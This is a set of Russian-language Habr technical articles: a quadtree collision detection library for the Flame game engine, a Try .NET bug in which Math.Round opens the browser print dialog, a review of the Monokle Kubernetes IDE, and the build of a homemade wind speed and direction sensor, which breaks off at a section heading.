Из меня такой себе математик-алгоритмист. Так что подходящее решение я злостно списывал, и рабочий результат уже оптимизировал под реалии языка и задачи. Первый раз списал не очень удачную имплементацию на Java, удостоверился, что работает быстрее, чем Sweep and prune, но всё равно удалил.
Второй раз портировал с C++ реализацию, описанную здесь: <https://gamedevelopment.tutsplus.com/tutorials/quick-tip-use-quadtrees-to-detect-likely-collisions-in-2d-space--gamedev-374> и уже с устранением вышеуказанных недостатков.
Реализация для Flame
--------------------
Свои наработки я обернул в библиотеку [flame\_quad\_tree](https://pub.dev/packages/flame_quad_tree).
Это решение работает быстрее других алгоритмов, потому что:
1. Не перестраивает квадранты каждый раз. Карта первоначально делится на квадранты, после чего в неё только добавляются новые.
2. Связь между объектом и его квадрантом хранится в переменной `Map`. Это затрудняет понимание кода, забивает память, замедляет запись о движении объектов, но зато для любого объекта мы можем максимально быстро получить его квадрант.
3. Каждый квадрант хранит иерархию – ссылку на родителя и ссылки на 4 дочерних квадранта. Это, вместе с предыдущим пунктом, позволяет получить все объекты, с которыми потенциально возможны столкновения, просто рекурсивно объединяя списки, а не делая долгие вычисления квадранта…
В использовании библиотека практически идентична тому, как это делается в «ванильном» Flame:
1. Добавляем примесь `HasQuadTreeCollisionDetection` к классу нашей игры
2. В `onLoad` игры обязательно вызываем метод `initCollisionDetection`, в который передаём размеры нашей карты. Алгоритму нужно знать размеры, чтобы правильно разбить карту на квадранты.
3. Все компоненты игры, которым нужно участвовать в просчёте столкновений, должны иметь примеси `CollisionCallbacks`, как в ванильном Flame, и `CollisionQuadTreeController`.
Примеры кода можно посмотреть в README.
**Проблемы реализации.**
Мне кажется, что-то можно было бы ещё улучшить, но, возможно, на самом деле нельзя. Поделюсь здесь, может что подскажете.
1. **Рекурсивный сбор объектов.** Проблема в том, что некоторые объекты могут быть разрезаны «квадрантами» на пополам. Для примера, на скриншоте выделены такие объекты:
Таким образом, они не могут быть четко определены в какой-то определённый квадрант, и остаются висеть в родительском. А это вынуждает при получении списка потенциально сталкивающихся объектов перебирать элементы как вверх по дереву, так и вниз: <https://github.com/ASGAlex/flame_quad_tree/blob/main/lib/src/quad_tree.dart#L272>
После того, как игра максимально заоптимизированна, оказывается, что самая тяжелая процедура, которая осталась – это вот этот перебор списков и наполнение списка данными.
На практике, при работе со статичной тайловой картой, можно следить за её размером так, чтобы при делении на квадранты граница проходила четко по границе между тайлами. Ну, это нужно вручную считать размер карты и проверять, что она правильно «делится пополам». После чего дорисовывать недостающие тайлы, чтобы всё делилось правильно. Лишняя ручная работа, к тому же надо придумывать, какой игровой контент запихать в тайлы, которые тебе не нужны…
В теории надо все-таки научить алгоритм учитывать размер тайла на карте, и делить кару пополам, учитывая эти данные. Это по крайней мере уменьшит нагрузку при работе со статичными тайлами. Но из-за наличия динамических объектов всё равно придётся проверять дерево в обе стороны. А так не хочется!
2. Работа с динамическими списками занимает много времени на выделение памяти. Опять же, это становится видно только когда вы максимально всё заоптимизировали. В теории, можно было бы сделать так, чтобы списки были ограниченной длинны «с запасом», и место в памяти выделялось бы единожды, заранее. Но тогда возня с «пустыми ячейками» после удаления объекта становится главным багообразующим фактором. Я не уверен, даст ли это в итоге прямо ощутимый прирост производительности, если таки заморочиться и сделать, но в теории должно работать быстрее.
"Бонусные" методы оптимизации
-----------------------------
Перед тем как перейти к бенчмаркам, необходимо сказать, что эффект от смены алгоритма будет замечен только если:
1. У вас реально огромная карта
2. И на этой карте очень много объектов
Но беда в том, что Flame не умеет быстро рендерить огромные карты, о чем я писал [в предыдущей статье](https://habr.com/ru/post/682452/). Решение, описанное там (только касательно рендера карты и класса `TiledComponent`), я завернул в библиотеку [tiled\_utils](https://pub.dev/packages/flame_tiled_utils), его обязательно нужно использовать, чтобы изменение алгоритма рендеринга карты стало вообще заметным.
Проблемы будут у Flame и с большим количеством компонентов на огромной карте. Рендер компонента – ещё более дорогостоящая процедура, чем рендер тайла карты, а если объектов тысячи… В моей прошлой статье описан подход к решению и этой проблемы, его также нужно применить, иначе с любым алгоритмом определения столкновений вы получите только 1 FPS.
Чтобы не отвлекать внимание от главного - работы с столкновениями - я не стал тащить в демо-приложение свои запутанные классы, а применил штатное решение от Flame, хоть и не настолько гибкое. В принципе тоже можете взять себе на вооружение, вполне рабочий метод: <https://github.com/ASGAlex/flame_quad_tree/blob/main/example/lib/static_layer.dart>
Бенчмарк
--------
[Пример кода](https://github.com/ASGAlex/flame_quad_tree/tree/main/example) в репозитории позволяет не только посмотреть, как пользоваться библиотекой, но и провести сравнение скорости работы с Sweep-and-Prune от Flame.
По умолчанию, конечно, в примере выкручены все оптимизации на максимум. Но есть возможность вместо `TestGameQuadTree` использовать `TestGameStandard` в main.dart. Запустив приложение в таком режиме, мы увидим довольно печальную картину по производительности несмотря на то, что уже оптимизировали и рендер карты, и рендер слоя компонентов:
Так выглядит печалькаКак видно, большая часть времени у приложения уходит на то, чтобы посчитать столкновения.
Теперь давайте вернем обратно `TestGameQuadTree`, но у класса `Brick` уберем примесь `UpdateOnce`. Что получим при запуске:
Так выглядит пол печалькиАга, новая система столкновений увеличила скорость работы приложения в 2 раза, но мы ещё не получили желанный FPS. В чем проблема?
На графике видно, что теперь, когда просчёт столкновений нам ничего не стоит, время тратится на вызов `updateTree` компонентов игры. Как я и писал в предыдущей своей статье, избыточных компонентов надо избегать, а `Brick` – как раз избыточный компонент, поскольку он не содержит никакой игровой логики и даже рендерится только один раз за всю игру – в `PreRenderedLayer`. Чтобы избавить систему от лишних вычислений, вернём примесь `UpdateOnce` на место. После третьего запуска приложения получим:
А вот так выглядит успех!Победа? Однозначно.
Вот более «точечный» бенчмарк. Как видим, Quad Tree работает не только быстрее, но и эффективнее.
| | | |
| --- | --- | --- |
| | **Sweep and Prune** | **Quad Tree** |
| Микросекунд на update() | в среднем 80 000 | в среднем 2500 |
| Оставлено потенциальных пар для проверки пересечений | 19 - 150 | 13 - 60, при введении дополнительной проверки на минимальную дистанцию - 0 |
Должен заметить, что перенос проверки на типы пересекающихся объектов на этап broadphase не менее важен, чем сам алгоритм. В примере кода, по которому мы меряем производительность, не смоделирована такая ситуация, но, если бы у нас было множество активных объектов разных типов, и не все типы должны были бы взаимодействовать между собой – алгоритм Flame зашился бы ещё больше, а [flame\_quad\_tree](https://pub.dev/packages/flame_quad_tree) – нет, поскольку позволяет выполнить эту проверку на максимально ранней стадии, до тяжелых вычислений.
Итоги
-----
Итак, сегодня мы ускорили расчёт столкновений в Flame примерно в 80000 / 2500 = 32 раза, сделав играбельной карту в 160 000 тайлов и 22 000 объектов на ней. Можно ли ещё что-то сделать с Flame, чтобы выжать из него ещё чуточку больше?
Думаю, да: стоит попытаться кластеризовать фрагменты карты и не рендерить то, что точно никак не попадает в кадр.
Как попробую – расскажу, что получится 😎 | https://habr.com/ru/post/686180/ | null | ru | null |
# Почему Math.Round открывает окно печати из браузера в Try .NET
Сегодня внимание общественности привлек забавный нелогичный баг, обнаруженный в [Try .NET](http://try.dot.net/) – инструменте, предназначенном для встраивания в документацию интерактивных примеров на C#. Посмотреть открытый issue можно на Github [по ссылке](https://github.com/dotnet/try/issues/290).
Приведенный код при выполнении (при вызове метода *Math.Round*) вместо ожидаемого результата внезапно открывает окно печати из браузера:
```
using System;
public class Example
{
public static void Main()
{
var x = Math.Round(11.1, MidpointRounding.AwayFromZero);
}
}
```
При помощи стектрейса ошибки и брейкпоинтов пользователями была найдена предположительная причина такого поведения — она скрывалась в библиотеке *mono.js*.
Разгадка проста. По всей видимости, кто-то хотел использовать в JS собственную функцию *print()* (или перепутал ее с *console.log*), но раз таковой не нашлось в области видимости, программа вызывает *window.print()*, которая действительно должна открывать окно печати текущего документа — поскольку *window* является глобальным объектом для главного потока в браузере.
На этот фолбек обратили внимание не сразу, но один из пользователей утверждает, что эта ошибка [была исправлена еще в прошлом ноябре](https://github.com/mono/mono/pull/11602).
С целью избежания ситуаций, в которых возникают ошибки подобного рода, проект *create-react-app* ведет [список «сбивающих с толку» браузерных глобальных переменных](https://github.com/facebook/create-react-app/tree/master/packages/confusing-browser-globals), поскольку допустить аналогичную ошибку достаточно просто:
```
handleClick() { // пропущен аргумент `event`
this.setState({
text: event.target.value // используется глобальная переменная `event`- ошибка!
});
}
``` | https://habr.com/ru/post/456880/ | null | ru | null |
# Обзор IDE Monokle, или Рассказ о неоправдавшихся ожиданиях
В погоне за лучшей или, правильнее сказать, удобной жизнью я начал искать решение, которое помогало бы писать чарты для Kubernetes и лучше разбираться в зависимостях — что, куда и откуда подставляется в созданных чартах. Так я наткнулся на программу под названием [Monokle](https://monokle.kubeshop.io/). В ее описании сказано: «Вы сможете составлять чарты, быстро находить какие либо несовместимости или неправильный код, а также деплоить ваши чарты сразу в K8s». Глаза загорелись, я приступил к установке.
**Важно:** тестировалась версия 1.9; выводы основаны на *личных* впечатлениях.
Что такое Monokle
-----------------
Monokle написан на Electron с добавлением React и TypeScript. Проект появился на GitHub’е 21 апреля 2021 года, активно развивается и за прошедшие полтора года набрал почти 600 звёзд. В нем поддерживаются плагины — JSON-файлы (они же темплейты), которые помогают создавать ресурсы. Для создания сейчас доступны: Basic Pod, Basic Job, Basic Service, Deployment, StatefulSet + RBAC. При этом в начальном состоянии плагинов от разработчиков представлено очень мало.
Monokle «из коробки» предлагает:
* проверку правильности составления чартов, отслеживания зависимостей и поиск проблемных мест;
* использование темплейтов для составления с нуля ресурсов кластера;
* возможность деплоить чарты сразу же в кластер прямо из программы;
* сравнивать чарты в кластере с локальными;
* просматривать и редактировать онлайн то, что уже есть в кластере;
* генерировать preview для Helm и Kustomize-ресурсов по заданным values.
### Первые шаги и попытки освоиться
Сначала я скачал подходящий [дистрибутив](https://monokle.kubeshop.io/download). После установки и запуска Monokle предложил мне выбор: открыть текущую папку с чартами, создать манифест с нуля или воспользоваться темплейтом для создания готового набора.
Диалог выбора типа нового проектаНедолго думая, я выбрал первый пункт, указав папку, которая была подготовлена для использования с [werf](https://ru.werf.io/) (Open Source-утилитой для сборки приложений и их деплоя в Kubernetes), в которой уже лежали YAML-темплейты. Стоит отметить, что werf — это мой единственный инструмент, с которым я сейчас работаю.
Далее всё пошло наперекосяк. Папка открылась нормально, но из всего содержимого были доступны только файлы с расширениями `*.yml` *или* `*.yaml`, да и то как-то выборочно. Например, я не смог открыть файл `.gitlab-ci.yml`**,** как бы ни старался. Очень огорчило, что нельзя открыть и редактировать `*.tpl`-файлы, в которых задана дополнительная логика. В итоге я решил, что делаю всё неправильно и принялся осваивать всё с нуля.
Прежде чем продолжить, остановлюсь на интерфейсе.
Интерфейс пользователя
----------------------
Окно программы разбито на колонки: первая служит для обзора структуры проекта, вторая — для просмотра созданных в чартах ресурсов, третья — редактор.
Интерфейс пользователя MonokleДля удобства навигации в первой колонке есть закладки:
1. Файлы проекта.
2. Просмотр структуры Kustomize (с этим софтом я не знаком, поэтому закладку пропускаю).
3. Просмотр структуры Helm.
4. Images — образы, используемые в проекте (в нашем случае только один: ubuntu:latest).
5. Предварительно подготовленные темплейты, из которых можно создавать новые ресурсы для кластера.
6. Проверка на валидность созданных ресурсов в соответствии с различными версиями Kubernetes.
7. Поиск и замена.
8. Навигатор ресурсов. В этой закладке будут появляться и первично проверятся созданные ресурсы, а также ссылки на ресурсы, созданные в чартах.
9. Окно редактора.
10. Текущее состояние работы Monokle. Может быть: *None*, *Cluster mode*, *Helm Preview* и, возможно, *Kustomize preview*.
11. Настройки. Здесь можно выбрать версию Kubernetes, задать местоположение `.kube/config` и настроить, как все это будет работать.
Старт с нуля
------------
В этот раз я выбрал пункт «Создание манифеста с нуля». Создал папку для нового проекта и попробовал накидать в нее файлов из темплейтов. На мой взгляд, наиболее востребованными из темплейтов могут быть: *Advanced Pod*, *RoleBinding and Service Accounts*, а также *Basic Kubernetes StatefulSet*. Я выбрал *Advanced Pod*, чтобы понять, как происходит этот процесс, и что будет дальше.
Создание нового проектаНастройки нового проектаВ результате получилось что-то визуально похожее на то, с чем можно начать работать.
Но, на мой взгляд, при создании проекта с нуля Monokle не предлагает достаточной функциональности. Да, можно накидывать что-то на скорую руку и даже деплоить это в кластер, но я ожидал другого. При таком подходе у вас будет просто набор разрозненных файлов и никакой структуры.
Макет проекта Helm
------------------
На этот раз я решил создать макет проекта на Helm.
Командой `helm create mytestproject` я получил заготовку для будущего проекта. После этого сразу же заполнилась вкладка для работы с Helm-чартами и появилась кнопка *Install* в правом верхнем углу для установки Helm Chart в Kubernetes (Во второй итерации была только кнопка *Deploy*, которая делает почти то же самое. Но после нее в кластере очень тяжело будет найти, что и откуда выкатилось. Также K8s не будет следить за тем, живо оно или нет).
Созданный проект HelmВот теперь я уже приблизился к тому, что хотел увидеть: структура в левом столбце очень напоминала мне ту, с которой я постоянно работаю — здесь создался полноценный макет проекта.
При выборе файла `values.yaml` справа от него появляется кнопка *Preview*, при нажатии на которую темплейты заполняются значениями из этого файла. Вот так выглядит созданный чарт:
Чарт с заполненными даннымиТекущее состояние Monokle перешло в *Helm Preview*. В этом режиме в среднем блоке *Navigator* можно просматривать, какие ресурсы будут созданы в кластере. Этот режим, как следует из названия, не позволяет ничего редактировать, но зато дает возможность установить сгенерированное в Kubernetes и посмотреть, не появились ли какие-либо нестыковки в ресурсах.
Дальше я решил попробовать что-нибудь задеплоить в предварительно поднятый на машине Minikube. Теперь в дело пошла кнопка *Install*: нужно выбрать файл `values.yaml`, а затем либо предварительно перейти в *Helm Preview* и посмотреть, что же будет деплоиться, либо, если это уже готовый чарт, который нужно просто установить.
Так как я ничего не кастомизировал, появилось еще одно окно с выбором:
Диалоговое окно выбора пространства имёнПосле создания нового пространства имен `test-helm` Helm-чарт успешно задеплоился:
Далее можно много рассказывать о том, что где находится, как создавать ресурсы, как их редактировать, как сверять то, что в чартах, с тем, что в кластере… Но я остановился на этом этапе, по одной простой причине: я понял, что Monokle лично мне не подходит.
Плюсы и минусы Monokle
----------------------
Что мне понравилось в Monokle и, возможно, заставит читателя обратить свое внимание на продукт (а он несомненно этого заслуживает):
* Можно создать почти любой ресурс Kubernetes через GUI ([подробнее про создание ресурсов](https://kubeshop.github.io/monokle/creating-resources/)).
* Встроенные ссылки по описанию текущего ресурса на [kubernetes.io](http://kubernetes.io). Доступно в *Preview Mode* и в окне редактора.
* Подсветка синтаксиса. Например, если ошибся в написании имени Secret’а, то Monokle подскажет, что такого Secret’а нет (неявное указание на ошибку в имени). Аналогично и с другими ресурсами, где есть перекрестные ссылки:
* Проверка на ошибки всего чарта целиком. В блоке навигатора чарты с ошибками или предупреждениями будут подсвечены соответствующим символом:
+ желтый треугольник с восклицательным знаком — показывает ссылки на несуществующие ресурсы;
+ восклицательный знак в красном кружке — сообщает о синтаксических ошибках. Подробнее с этими функциями можно ознакомиться [в официальной документации](https://kubeshop.github.io/monokle/resource-validation/).
* В *Preview Mode* можно перемещаться туда, где задана сущность, а не искать ее вручную по всем файлам. Сделать это можно с помощью кнопки.
* При работе в режиме *Helm* доступно использование различных команд Helm’a. Так, например, можно задавать окружения через *Preview Configuration*:
* Возможность подключения к кластеру через `.kube/config` и просмотра уже имеющихся сущностей:
* Режим сравнения, в котором можно сравнить свой чарт с тем, что уже есть в Kubernetes (выбирается в окне *Navigator* кнопкой с двойными синими стрелочками):
* Декодирование base64 при наведении курсора мыши:
Я подозреваю, что это не полный список возможностей, которые могли бы мне понравится. Но в связи со спецификой работы мне было тяжело разбираться в Monokle и немного рвало шаблон разницей подходов к формированию чартов и структуры проекта.
Что *не понравилось*:
* Не все файлы можно открыть на редактирование (многое уже исправлено в версии 1.10).
* Нет поддержки Git’а. При необходимости придется пользоваться терминалом или сторонними утилитами.
* Конфиги *Preview Configuration* сохраняются в самом Monokle и не привязаны к проектам.
Таким образом, вы получаете полный набор конфигов от разных проектов для всех проектов сразу.
* Отдельно стоит отметить, что Monokle несовместим со структурой папок и темплейтов утилиты werf. Поэтому лично для меня софт оказался не настолько полезным, как я себе представлял.
Ну что же, остаюсь на VsCode от Microsoft — старом добром редакторе с кучей плагинов, в том числе и для Kubernetes.
Заключение
----------
В статье я рассмотрел свой личный опыт тестирования Monokle, программы для управления чартами в Kubernetes. Мои ожидания не оправдались. Но впечатления субъективны, поэтому другим эта программа может показаться, наоборот, удобной и полностью удовлетворяющей запросы.
У Monokle хороший набор инструментов для создания почти любого ресурса Kubernetes, он позволяет легко выбрать необходимую сущность. Утилита может пригодиться в освоении K8s. Ее можно использовать как справочный материал.
Если у вас уже есть Helm-чарты, однозначно советую присмотреться и попробовать Monokle. При этом назвать его самодостаточным софтом я не могу, лучше использовать его в связке с другими решениями как дополнение.
Несмотря на все вышесказанное, проект очень быстро набирает обороты и так же быстро обрастает новыми функциями. Если на текущий момент кажется, что чего-то не хватает, вполне возможно, что это появится в следующей версии.
### P.S.
Читайте также в нашем блоге:
* «[Обзор Kalm — веб-интерфейса для деплоя приложений и управления ими в Kubernetes](https://habr.com/ru/company/flant/blog/575972/)»;
* «[Обзор фреймворка cdk8s для «программирования» Kubernetes-манифестов](https://habr.com/ru/company/flant/blog/577624/)»;
* «[Обзор Lens — IDE для Kubernetes](https://habr.com/ru/company/flant/blog/563422/)». | https://habr.com/ru/post/690564/ | null | ru | null |
# Станция для измерения скорости и направления ветра
Обычная бытовая фирменная или самодельная метеостанция измеряет две температуры-влажности (в комнате и на улице), атмосферное давление и дополнительно имеет часы с календарем. Однако, настоящая метеостанция имеет еще много всего — датчик солнечной радиации, измеритель осадков и всякое подобное, что, в общем, требуется только для профессиональных нужд, за одним исключением. Измеритель параметров ветра (скорости, и, главное, направления) — очень полезное дополнение для загородного дома. Причем фирменные датчики ветра довольно дороги даже на Али-Бабе, и имеет смысл присмотреться к самодельным решениям.
Сразу скажу, что если бы я заранее знал, в какой объем ручной работы и потраченных на эксперименты денег выльется моя задумка, может быть и не стал бы начинать. Но любопытство перевесило, а читатели этой статьи имеют шанс избежать тех подводных камней, о которые мне приходилось спотыкаться.
Для **измерения скорости ветра** (анемометрии) существует стопицот способов, главные из которых такие:
— термоанемометрический,
— механический — с пропеллером (точнее, [импеллером](https://ru.wikipedia.org/wiki/%D0%98%D0%BC%D0%BF%D0%B5%D0%BB%D0%BB%D0%B5%D1%80)) или чашечной горизонтальной крыльчаткой (классический [чашечный анемометр](https://ru.wikipedia.org/wiki/%D0%90%D0%BD%D0%B5%D0%BC%D0%BE%D0%BC%D0%B5%D1%82%D1%80#/media/File:Anemometer.jpg)), Измерение скорости в этих случаях эквивалентно измерению частоты вращения оси, на которой закреплена пропеллер или крыльчатка.
— а также ультразвуковой, объединяющий измерения скорости и направления.
Для **измерения направления** способов меньше:
— упомянутый ультразвуковой;
— механический флюгер с электронным съемом угла поворота. Для измерения угла поворота есть также много различных способов: оптические, резистивные, магнитные, индуктивные, механические. Можно, кстати, просто закрепить на валу флюгера электронный компас — вот только надежные и простые (для «наколеночного» повторения) способы передачи показаний с хаотично вращающейся оси придется еще поискать. Потому мы далее выбираем традиционный оптический способ.
При самостоятельном повторении любого из этих способов следует держать в уме требования минимального энергопотребления и круглосуточного (а, может, и круглогодичного?) пребывания на солнце и под дождем. Датчик ветра нельзя разместить под крышей в тени — наоборот, он должен быть максимально удален от всех мешающих факторов и «открыт всем ветрам». Идеальное место размещения — конек крыши дома или, на худой конец, сарая или беседки, удаленных от других строений и деревьев. Такие требования предполагают автономное питание и, очевидно, беспроводной канал передачи данных. Этими требованиями обусловлены некоторые «навороты» конструкции, которая описывается далее.
**О минимальном энергопотреблении**Кстати, а минимальное энергопотребление — сколько это? Если исходить из обычных бытовых батареек типа АА, то среднее потребление схемы в идеальном случае должно составлять не более 1-2 мА. Посчитайте сами: емкость приличного щелочного элемента типоразмера АА составляет около 2,5-3 А•ч, то есть схема с указанным потреблением проработает от него около 1500-2500 часов, или 2-3 месяца. В принципе это тоже немного, но относительно приемлемо — меньше нельзя никак: либо разоритесь на батарейках, либо придется применять аккумуляторы, которые нужно будет заряжать еще чаще, чем менять батарейки. По этой причине мы при составлении такой схемы обязаны ловить любые крохи: обязательный режим энергосбережения, тщательно продуманная схемотехника и последовательность действий в программе. Далее мы увидим, что в окончательной конструкции я все-таки не уложился в нужные требования и пришлось применять питание от аккумулятора.
Познавательную историю о том, как я пытался воспроизвести самый современный и продвинутый из способов — ультразвуковой, и потерпел неудачу, я расскажу как-нибудь в другой раз. Все другие способы предполагают раздельное измерение скорости и направления, потому пришлось городить два датчика. Поизучав теоретически термоанемометры, я понял, что готовый чувствительный элемент любительского уровня у нас приобрести не получится (на западном рынке они доступны!), а самостоятельно изобретать — ввязываться в очередные НИиОКР с соответствующими тратами времени и денег. Потому по некотором размышлении я решил сделать унифицированную конструкцию на оба датчика: чашечный анемометр с оптическим измерением скорости вращения и флюгер с электронным съемом угла поворота на основе кодирующего диска (энкодера).
Конструкции датчиков
--------------------
Преимущество механических датчиков в том, что никакие НИиОКР там не требуются, принцип прост и понятен, а качество результата зависит только от аккуратности исполнения тщательно продуманной конструкции.
Так казалось теоретически, на практике это вылилось в кучу механических работ, часть из которых пришлось заказывать на стороне, ввиду отсутствия под рукой токарного и фрезерного станков. Сразу скажу, что я ни разу не пожалел о том, что с самого начала сделал ставку на капитальный подход, а не стал городить конструкции из подручных материалов.
Для флюгера и анемометра нужны следующие детали, которые пришлось заказать у токаря и фрезеровщика (количество и материал указаны сразу для обоих датчиков):
Оси, заметим, обязательно вытачиваются на токарном станке: изготовить на коленке ось с острием точно по центру практически невозможно. А размещение острия точно по оси вращения здесь — определяющий фактор успеха. Кроме того, ось должна быть идеально прямой, никакие отклонения не допускаются.
### Механический датчик направления ветра — электронный флюгер
Основой флюгера (как и датчика скорости далее) служит П-образная скоба из дюраля Д-16, изображенная на чертеже вверху слева. В нижнее углубление запрессовывается кусочек фторопласта, в котором делается ступенчатое углубление последовательно сверлами 2 и 3 мм. В это углубление острым концом вставляется ось (для флюгера — из латуни). Сверху она свободно проходит через отверстие 8 мм. Над этим отверстием винтами М2 к скобе прикрепляется прямоугольный кусочек того же фторопласта толщиной 4 мм так, чтобы он перекрывал отверстие. Во фторопласте сделано отверстие точно по диаметру оси 6 мм (расположенное точно по общей оси отверстий — см. сборочный чертеж ниже). Фторопласт вверху и внизу здесь играет роль подшипников скольжения.
Ось в месте трения о фоторопласт можно отполировать, а площадь трения уменьшить, отзенковав отверстие во фторопласте. (**См. на эту тему ниже UPD от 13.09.18 и 05.06.19**). Для флюгера это не играет особой роли — некоторая «заторможенность» ему даже полезна, а для анемометра придется постараться минимизировать трение и инерцию.
Теперь о съеме величины угла поворота. Классический [энкодер Грея](https://ru.wikipedia.org/wiki/%D0%9A%D0%BE%D0%B4_%D0%93%D1%80%D0%B5%D1%8F) на 16 положений применительно к нашему случаю выглядит так, как показано на рисунке:
Размер диска был выбран, исходя из условия надежной оптической изоляции пар излучатель-приемник друг от друга. При такой конфигурации щели шириной 5 мм располагаются с промежутком также 5 мм, а оптические пары расположены на расстоянии ровно 10 мм. Размеры скобы, к которой крепится флюгер, были рассчитаны именно исходя из диаметра диска 120 мм. Все это, конечно, можно уменьшить (особенно, если подобрать светодиоды и фотоприемники как можно меньшего диаметра), но было принята во внимание сложность изготовления энкодера: выяснилось, что фрезеровщики за такую тонкую работу не берутся, потому его пришлось выпиливать вручную надфилем. А тут чем больше размеры, тем надежнее результат и меньше хлопот.
На сборочном чертеже выше показано крепление диска к оси. Тщательно отцентрованный диск крепится винтиками М2 к капролоновой втулке. Втулка размещается на оси так, чтобы зазор вверху был минимальным (1-2 мм) — так, чтобы ось в нормальном положении вращалась свободно, а при перевороте острие не выпадало из гнезда внизу. Блоки фотоприемников и излучателей прикрепляются к скобе сверху и снизу диска, более конкретно об их конструкции далее.
Вся конструкция помещается в пластиковый (АБС или поликарбонат) корпус 150×150×90 мм. В собранном виде (без крышки и флюгера) датчик направления выглядит следующим образом:
Отметьте, что выбранное направление на север помечено стрелкой, его нужно будет соблюдать при установке датчика на место.
На верхушку оси крепится собственно флюгер. Он изготовлен на основе такой же латунной оси, в разрез на тупой стороне которой впаивается хвостовик из листовой латуни. На остром конце на некоторую длину нарезается резьба М6, и на ней с помощью гаек закрепляется круглый груз-противовес, отлитый из свинца:
Груз рассчитан так, чтобы центр тяжести приходился точно на место крепления (передвигая его вдоль резьбы, можно добиться идеальной балансировки). Крепление флюгера к оси осуществляется с помощью нержавеющего винта М3, который проходит через отверстие в оси флюгера и ввинчивается в резьбу, нарезанную в оси вращения (крепящий винт виден на фото выше). Для точной ориентации верхушка оси вращения имеет полукруглое углубление, в которое ложится ось флюгера.
### Датчик скорости ветра — чашечный анемометр своими руками
Как вы уже поняли, основа для датчика скорости в целях унификации была выбрана та же самая, что и для флюгера. Но требования к конструкции тут несколько иные: в целях снижения порога трогания анемометр должен быть максимально облегчен. Поэтому, в частности, ось для него сделана из дюраля, диск с отверстиями (для измерения частоты вращения) уменьшен в диаметре:
Если для четырехбитного энкодера Грея требуется четыре оптопары, то для датчика скорости всего одна. По окружности диска на равном расстоянии просверлено 16 отверстий, таким образом один оборот диска в секунду эквивалентен 16 герцам частоты, поступающей с оптопары (можно больше отверстий, можно меньше — вопрос только в масштабе пересчета и экономии энергии на излучатели).
Самодельный датчик все равно получится достаточно грубым (порог трогания не менее полуметра-метра в секунду), но его снизить можно только если радикально изменить конструкцию: например, вместо чашечной вертушки поставить пропеллер. У чашечной вертушки разность сил сопротивления потоку, обуславливающая крутящий момент, относительно невелика — она достигается исключительно за счет разной формы поверхности, встречающей набегающий поток воздуха (поэтому форма чашек должна быть как можно более обтекаемой — в идеале это половинка яйца или шара). У пропеллера вращающий момент гораздо больше, его можно сделать гораздо меньшим по весу, и, наконец, само изготовление проще. Но пропеллер нужно устанавливать по направлению потока воздуха — например, разместив его на [конце того же флюгера](http://mtdata.ru/u2/photo7F7A/20784462211-0/huge.jpeg).
Вопрос вопросов при этом: как передавать показания с датчика, хаотично вращающегося вокруг вертикальной оси? Я его решить не смог, и судя по тому, что профессиональные чашечные конструкции до сих пор широко распространены, решается он отнюдь не с полпинка (ручные анемометры в расчет не берем — их ориентируют по потоку воздуха вручную).
Мой вариант чашечного анемометра сделан на основе лазерного диска. Вид сверху и снизу показан на фото:
Чашки сделаны из донышек от бутылочек из-под детской воды «Агуша». Донышко аккуратно отрезается, причем все три — на одинаковом расстоянии, чтобы имели равный вес, локально прогревается по центру (ни в коем случае не грейте целиком — необратимо покоробится!) и тыльной стороной деревянной ручки от напильника выгибается наружу, чтобы сделать его более обтекаемым. Будете повторять — запаситесь бутылочками побольше количеством, из пяти-шести штук вам, вероятно, удастся сделать три более-менее одинаковых чашки. В изготовленных чашках делается сбоку прорезь и они закрепляются по периметру диска под 120° по отношению друг к другу с помощью водостойкого клея-герметика. Диск строго центруется относительно оси (я это делал с помощью вложенной металлической шайбы) и закрепляется на капролоновой втулке винтами М2.
### Общая конструкция и установка датчиков
Оба датчика, как уже говорилось, размещаются в пластиковых корпусах 150×150×90 мм. К выбору материала корпуса надо подходить продуманно: АБС или поликарбонат имеют достаточную атмосферостойкость, но полистирол, оргстекло и тем более полиэтилен тут решительно не подойдут (и окрасить для защиты от солнца их тоже будет затруднительно). Если нет возможности приобрести фирменную коробку, лучше самостоятельно спаять корпус из фольгированного стеклотекстолита, и затем окрасить для защиты от коррозии и придания эстетического вида.
В крышке точно в месте выхода оси делается отверстие 8-10 мм, в которое тем же клеем-герметиком вклеивается пластиковый конус, вырезанный из носика от баллончика со строительным герметиком или клеем:
Чтобы отцентровать конус по оси, струбциной закрепите снизу крышки деревяшку, наметьте на ней точный центр и немного углубитесь перовым сверлом 12 мм, сделав вокруг отверстия кольцевое углубление. Конус туда должен войти точно, после чего его можно обмазывать клеем. Можно его дополнительно зафиксировать в вертикальном положении на время застывания винтом М6 с гайкой.
Датчик скорости сам накрывает ось с этим конусом, как зонтиком, предотвращая попадание воды внутрь корпуса. Для флюгера стоит дополнительно разместить над конусом втулку, которая закроет зазор между осью и конусом от прямого стока воды (см. фото общего вида датчиков далее).
Провода от оптопар у меня выведены на отдельный разъем типа D-SUB (см. фото датчика направления выше). Ответная часть с кабелем вставляется через прямоугольное отверстие в основании корпуса. Отверстие затем прикрывается крышкой с прорезью для кабеля, которая удерживает разъем от выпадания. К основанию корпуса привинчиваются дюралевые скобы для крепления на месте. Конфигурация их зависит от места установки датчиков.
В собранном виде оба датчика выглядят следующим образом:
Здесь они показаны уже установленными на место — на конек беседки. Обратите внимание, что углубления для крепящих крышку винтов защищены от воды заглушками из сырой резины. Датчики устанавливаются строго горизонтально по уровню, для чего пришлось использовать подкладки из кусочков линолеума.
Электронная часть
-----------------
Метеостанция в целом состоит из двух модулей: выносного блока (который обслуживает оба датчика ветра, а также снимает показания с внешнего датчика температуры-влажности), и основного модуля с дисплеями. Выносной блок оборудован беспроводным передатчиком для отправки данных, установленным внутри него (антенна торчит сбоку). Основной модуль принимает данные от выносного блока (приемник для удобства его ориентации вынесен на кабеле в отдельный блок), а также снимает показания с внутреннего датчика температуры-влажности и выводит все это на дисплеи. Отдельная составляющая основного блока — часы с календарем, которые для удобства общей настройки станции обслуживаются отдельным контроллером Arduino Mini, и имеют свои дисплеи.
### Выносной модуль и измерительная схема датчиков ветра
